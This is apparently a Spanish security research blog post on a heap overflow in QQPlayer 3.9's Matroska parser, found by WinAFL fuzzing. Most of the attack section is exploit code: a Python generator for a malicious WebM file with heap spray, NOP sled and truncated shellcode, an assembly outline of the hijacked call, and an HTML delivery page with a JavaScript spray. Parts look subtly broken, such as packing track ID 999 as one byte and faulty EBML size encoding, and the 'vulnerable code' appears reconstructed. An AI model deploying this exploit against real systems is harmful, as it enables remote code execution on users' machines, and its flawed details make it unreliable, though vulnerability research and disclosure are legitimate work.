/ 7 min de lectura

QQPlayer 3.9 Heap Overflow: explotación de Matroska

Demostración de explotación de QQPlayer

Introducción

QQPlayer 3.9, un reproductor multimedia popular en mercados asiáticos, tiene una vulnerabilidad crítica de heap overflow que permite ejecución remota de código a través de archivos WebM maliciosos. Esta vulnerabilidad se descubrió durante una evaluación de seguridad sistemática usando fuzzing con WinAFL y afecta la lógica de parsing del contenedor Matroska de la aplicación.

Resumen ejecutivo

Tipo de vulnerabilidad: Heap Overflow Vector de ataque: Archivos WebM/Matroska maliciosos Impacto: Ejecución remota de código Versión afectada: QQPlayer 3.9 Método de descubrimiento: Campaña de fuzzing con WinAFL

La vulnerabilidad permite a un atacante lograr ejecución arbitraria de código explotando una validación de límites insuficiente en el filtro DirectShow matroskasplitter.ax, lo que deriva en instrucciones call controladas y corrupción de heap.

Descubrimiento de la vulnerabilidad

Metodología de investigación

QQPlayer fue elegido como target de investigación por su despliegue masivo y su soporte complejo de formatos multimedia. La investigación se enfocó en archivos WebM por la estructura compleja de ese contenedor y su adopción creciente, algo que suele introducir vulnerabilidades de parsing en aplicaciones multimedia.

Campaña de fuzzing con WinAFL

El setup de fuzzing apuntó a la funcionalidad de parsing WebM/Matroska de QQPlayer usando WinAFL con instrumentación de DynamoRIO:

Terminal window
# WinAFL configuration for QQPlayer WebM fuzzing
afl-fuzz.exe -i webm_samples\ -o findings\ -D DynamoRIO\bin64\
-- -coverage_module QQPlayer.exe -target_module QQPlayer.exe
-- QQPlayer.exe @@

Hallazgos clave

La campaña de fuzzing reveló vulnerabilidades críticas en el filtro DirectShow matroskasplitter.ax:

Análisis de corrupción de heap en QQPlayer Análisis del crash mostrando corrupción de heap en el filtro DirectShow matroskasplitter.ax

Problemas críticos identificados:

  • Corrupción de heap en el procesamiento de tracks de Matroska
  • Instrucciones call controladas con punteros provistos por el atacante
  • Múltiples patrones de crash reproducibles
  • Validación de límites insuficiente en el parsing del contenedor

Firma del crash:

Access violation - code c0000005
eax=41414141 edx=41414141 esi=41414141 edi=41414141
call [eax+0x14] ; Controlled call with attacker data

Análisis técnico

Causa raíz de la vulnerabilidad

La vulnerabilidad se origina en una validación de límites insuficiente en la lógica de parsing del contenedor Matroska de QQPlayer:

// Vulnerable code pattern in matroskasplitter.ax
typedef struct {
uint32_t track_count;
uint32_t track_entries[MAX_TRACKS];
char *track_data[MAX_TRACKS];
} matroska_context;
int parse_matroska_tracks(matroska_context *ctx, uint8_t *data, size_t size) {
uint32_t track_count = read_uint32(data);
ctx->track_count = track_count; // No validation
// Vulnerable loop - no bounds checking
for (uint32_t i = 0; i < track_count; i++) {
size_t track_size = read_track_size(data);
// Heap allocation based on untrusted size
ctx->track_data[i] = malloc(track_size); // VULNERABILITY
// Copy without size validation
memcpy(ctx->track_data[i], data, track_size); // VULNERABILITY
data += track_size;
}
return 0;
}

Análisis de la corrupción de memoria

La vulnerabilidad habilita varios vectores de ataque:

  • Control de la asignación de heap: el atacante controla los tamaños de allocation
  • Operaciones de copia de memoria: copia sin restricciones a buffers del heap
  • Manipulación del track count: cantidades excesivas de tracks provocan el overflow
  • Corrupción de punteros: la corrupción de metadata del heap habilita escrituras arbitrarias

Estrategia de explotación

Implementación del heap spray

La estrategia de explotación aprovecha el abuso de multi-track de Matroska para lograr un layout de heap controlado:

#!/usr/bin/env python
# QQPlayer Matroska Heap Overflow Exploit
import struct
class MatroskaExploit:
def __init__(self):
self.ebml_header = self.create_ebml_header()
self.segment_header = self.create_segment_header()
def create_ebml_header(self):
"""Generate valid EBML header for WebM file"""
ebml = b"\x1A\x45\xDF\xA3" # EBML magic
ebml += b"\x9F" # Header size
ebml += b"\x42\x86\x81\x01" # EBML version
ebml += b"\x42\xF7\x81\x01" # EBML read version
ebml += b"\x42\xF2\x81\x04" # EBML max ID length
ebml += b"\x42\xF3\x81\x08" # EBML max size length
ebml += b"\x42\x82\x88webm" # Doc type: "webm"
ebml += b"\x42\x87\x81\x02" # Doc type version
ebml += b"\x42\x85\x81\x02" # Doc type read version
return ebml
def create_segment_header(self):
"""Generate Segment element header"""
segment = b"\x18\x53\x80\x67" # Segment ID
segment += b"\x01\xFF\xFF\xFF\xFF\xFF\xFF\xFF" # Unknown size
return segment
def create_track_entry(self, track_id, track_type, codec_data):
"""Create individual track entry for heap spray"""
track = b"\xAE" # TrackEntry ID
track += self.encode_size(len(codec_data) + 20) # Track size
track += b"\xD7\x81" + struct.pack('B', track_id) # Track number
track += b"\x83\x81" + struct.pack('B', track_type) # Track type
track += b"\x63\xA2" + self.encode_size(len(codec_data)) # CodecPrivate size
track += codec_data # Controlled codec data
return track
def create_heap_spray_payload(self):
"""Generate heap spray using multiple tracks"""
# Heap spray shellcode (calculator for PoC)
shellcode = (
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
# ... shellcode continues
)
# NOP sled for landing zone
nop_sled = b"\x90" * 1000
# Spray payload: NOP sled + shellcode
spray_chunk = nop_sled + shellcode
# Pad to specific size for heap layout control
spray_chunk += b"A" * (0x1000 - len(spray_chunk))
return spray_chunk
def create_overflow_tracks(self):
"""Create tracks to trigger heap overflow"""
tracks = b""
spray_payload = self.create_heap_spray_payload()
# Create multiple tracks for heap spray
for i in range(50): # Spray heap with controlled data
tracks += self.create_track_entry(
track_id=i + 1,
track_type=1, # Video track
codec_data=spray_payload
)
# Create overflow trigger track
overflow_size = 0x10000 # Large allocation
overflow_data = b"B" * 100 # Controlled data
overflow_data += struct.pack('<I', 0x0C0C0C0C) # Controlled pointer
overflow_data += b"C" * (overflow_size - len(overflow_data))
tracks += self.create_track_entry(
track_id=999,
track_type=1,
codec_data=overflow_data
)
return tracks
def generate_malicious_webm(self):
"""Generate complete malicious WebM file"""
# File structure
webm_file = self.ebml_header
webm_file += self.segment_header
# Tracks element
tracks_data = self.create_overflow_tracks()
tracks_element = b"\x16\x54\xAE\x6B" # Tracks ID
tracks_element += self.encode_size(len(tracks_data))
tracks_element += tracks_data
webm_file += tracks_element
return webm_file
def encode_size(self, size):
"""Encode size using EBML variable-length encoding"""
if size < 0x7F:
return struct.pack('B', 0x80 | size)
elif size < 0x3FFF:
return struct.pack('>H', 0x4000 | size)
elif size < 0x1FFFFF:
return struct.pack('>I', 0x200000 | size)[1:]
else:
return struct.pack('>Q', 0x1000000000000000 | size)
# Generate exploit file
exploit = MatroskaExploit()
malicious_webm = exploit.generate_malicious_webm()
with open("malicious.webm", "wb") as f:
f.write(malicious_webm)
print("[+] Malicious WebM file created: malicious.webm")
print(f"[+] File size: {len(malicious_webm)} bytes")

Estrategia de layout del heap

La técnica de explotación aprovecha la estructura multi-track de Matroska para manipular el heap con precisión:

Heap Layout Strategy:
┌─────────────────┐
│ Heap Spray │ ← Multiple small tracks with controlled data
│ (Tracks 1-50) │ (0x1000 bytes each, total ~80KB)
├─────────────────┤
│ Landing Zone │ ← NOP sleds for reliable execution
│ (NOP + Shell) │ (Multiple copies across spray)
├─────────────────┤
│ Overflow Track │ ← Large track triggering overflow
│ (Track 999) │ (0x10000 bytes, controlled data)
└─────────────────┘

Visualización del heap spray de QQPlayer Implementación del heap spray usando abuso de multi-track de Matroska para controlar el layout de memoria

Explotación del call controlado

La vulnerabilidad habilita instrucciones de call [r32] controlado:

; Vulnerable call pattern in matroskasplitter.ax
mov eax, [heap_ptr] ; eax = attacker-controlled pointer
call [eax+0x14] ; Call controlled function pointer
; Exploitation strategy:
; 1. Spray heap with fake vtables
; 2. Corrupt heap metadata to point to fake vtable
; 3. Trigger call instruction
; 4. Execute shellcode via fake vtable entry

Desarrollo de la prueba de concepto

Análisis del vector de ataque

La vulnerabilidad se puede explotar a través de múltiples mecanismos de entrega:

Ataque por archivo local:

Terminal window
# Direct file execution
QQPlayer.exe malicious.webm

Ataque basado en web:

<!-- Malicious web page -->
<!DOCTYPE html>
<html>
<head>
<title>QQPlayer WebM Exploit</title>
</head>
<body>
<h1>Video Player Demo</h1>
<video controls>
<source src="malicious.webm" type="video/webm">
Your browser does not support the video tag.
</video>
<script>
// Additional JavaScript for environment preparation
function prepareExploit() {
// Heap spray preparation if needed
var chunks = [];
for (var i = 0; i < 100; i++) {
chunks[i] = new Array(1000).join("A");
}
return chunks;
}
window.onload = function() {
var spray = prepareExploit();
console.log("Environment prepared");
};
</script>
</body>
</html>

Ejecución exitosa: Demostración de explotación de QQPlayer Prueba de concepto completa de explotación de QQPlayer con ejecución de payload de calculadora

Conclusión

La vulnerabilidad de heap overflow de QQPlayer demuestra los riesgos de seguridad críticos inherentes a las librerías complejas de parsing multimedia. Su explotación mediante abuso del contenedor Matroska deja clara la necesidad de una validación de entrada robusta en las aplicaciones de procesamiento de medios.

Referencias


Investigación realizada por: el equipo de Volt AI Estado de divulgación: Coordinada con el equipo de desarrollo de QQPlayer Impacto: Parches de seguridad integrados en versiones posteriores de QQPlayer